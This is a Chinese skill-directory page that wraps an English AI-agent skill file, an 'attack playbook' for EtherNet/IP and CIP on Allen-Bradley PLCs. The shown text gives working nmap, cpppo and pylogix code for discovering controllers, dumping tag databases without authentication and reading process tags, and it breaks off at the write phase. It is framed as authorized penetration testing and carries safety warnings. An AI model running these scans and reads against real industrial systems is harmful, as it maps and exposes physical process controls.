enip-cip
它能做什么
这份指南涵盖 EtherNet/IP 和 CIP 的安全检查。它们在北美工厂和 Rockwell 控制器中很常见。适合获得书面批准的工厂安全团队。
适用场景
- ✓当授权的工厂审查需要列出 EtherNet/IP 设备及其身份信息时。
- ✓当你想检查控制器是否向网络暴露其标签列表时。
- ✓当团队需要一份工业控制器的只读清单时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我建立一份我们 Rockwell 控制器的只读清单,并检查哪些控制器在网络上有响应?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体发送身份和发现请求,列出响应的控制器,并报告每台控制器暴露的内容。除非书面批准涵盖,否则不执行写入和模式切换操作。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222)
EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.
SAFETY FIRST
CIP write operations (Write() on tags) and mode-change commands (Stop, Run, Reset) affect physical process equipment. A mode-change to Stop immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.
Prerequisites
# Install pylogix (Allen-Bradley EtherNet/IP client)
pip install pylogix
# Install cpppo (Rockwell EtherNet/IP / CIP toolkit)
pip install cpppo
# nmap EtherNet/IP scripts
# Built-in: enip-info.nse (ships with Nmap >= 7.80)
nmap -p 44818 --open -sV 10.0.0.0/24
Phase 1 — Discover
UDP 2222 List Identity broadcast
UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.
# Using cpppo enip command-line
python3 -m cpppo.server.enip.list_identity 10.0.0.255
# Or unicast:
python3 -m cpppo.server.enip.list_identity 10.0.0.5
# Example output:
# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,
# 'product_code': 166, 'revision': {'major': 33, 'minor': 11},
# 'serial_number': '0xA1B2C3D4', 'status': 12340}
# nmap enip-info script (TCP 44818)
nmap -p 44818 --script enip-info 10.0.0.5
# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State
# pylogix PLC info — TCP 44818
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
info = comm.GetPLCTime()
print("PLC time:", info.Value)
props = comm.GetModuleProperties(0)
print("Module:", props.Value)
Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix)
ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Enumerate all controller-scoped tags
tags = comm.GetTagList()
print(f"[*] Found {len(tags.Value)} controller tags")
for tag in tags.Value:
print(f" {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")
# Enumerate program-scoped tags (programs inside the controller)
programs = comm.GetProgramList()
for prog in programs.Value:
prog_tags = comm.GetProgramTagList(prog)
print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
for tag in prog_tags.Value:
print(f" {prog}:{tag.TagName:<36} Type={tag.DataType}")
Tag names are often self-describing in production environments:
PumpStation_1.RunCmd— pump run command coilValve_FV_101.OpenCmd— valve open commandReactor_TIC_201.SP— temperature setpointSafety_SIL2.BypassActive— safety interlock bypass flag
Phase 3 — Read tags
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Read a single tag
result = comm.Read("PumpStation_1.RunCmd")
print(f"PumpStation_1.RunCmd = {result.Value} (Status: {result.Status})")
# Read multiple tags in one request (efficient)
tag_list = [
"Reactor_TIC_201.SP",
"Reactor_TIC_201.PV",
"Valve_FV_101.OpenCmd",
"Safety_SIL2.BypassActive",
]
results = comm.Read(tag_list)
for r in results:
print(f" {r.TagName} = {r.Value} Status={r.Status}")
# Read array elements
array_result = comm.Read("RecipeArray[0]", 10) # read 10 elements from index 0
print("Recipe[0:10]:", array_result.Value)
Phase 4 — Write tags (SAFETY GATE — write-class authorization required)
STOP. Confirm written scope authorization before this phase. Writing process control tags may energize/de-energize
常见问题
EtherNet/IP 常见吗?
该指南称它是北美工业控制领域占主导地位的协议。
为什么身份验证是个问题?
该指南指出,许多部署在 CIP 层没有身份验证。
安全规则是什么?
模式切换和写入可能停止或改变实体流程,因此必须获得书面授权。
详情
作者的原始描述
EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.
热度
- GitHub 星标
- 6.5k
- 排名
- #14037
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …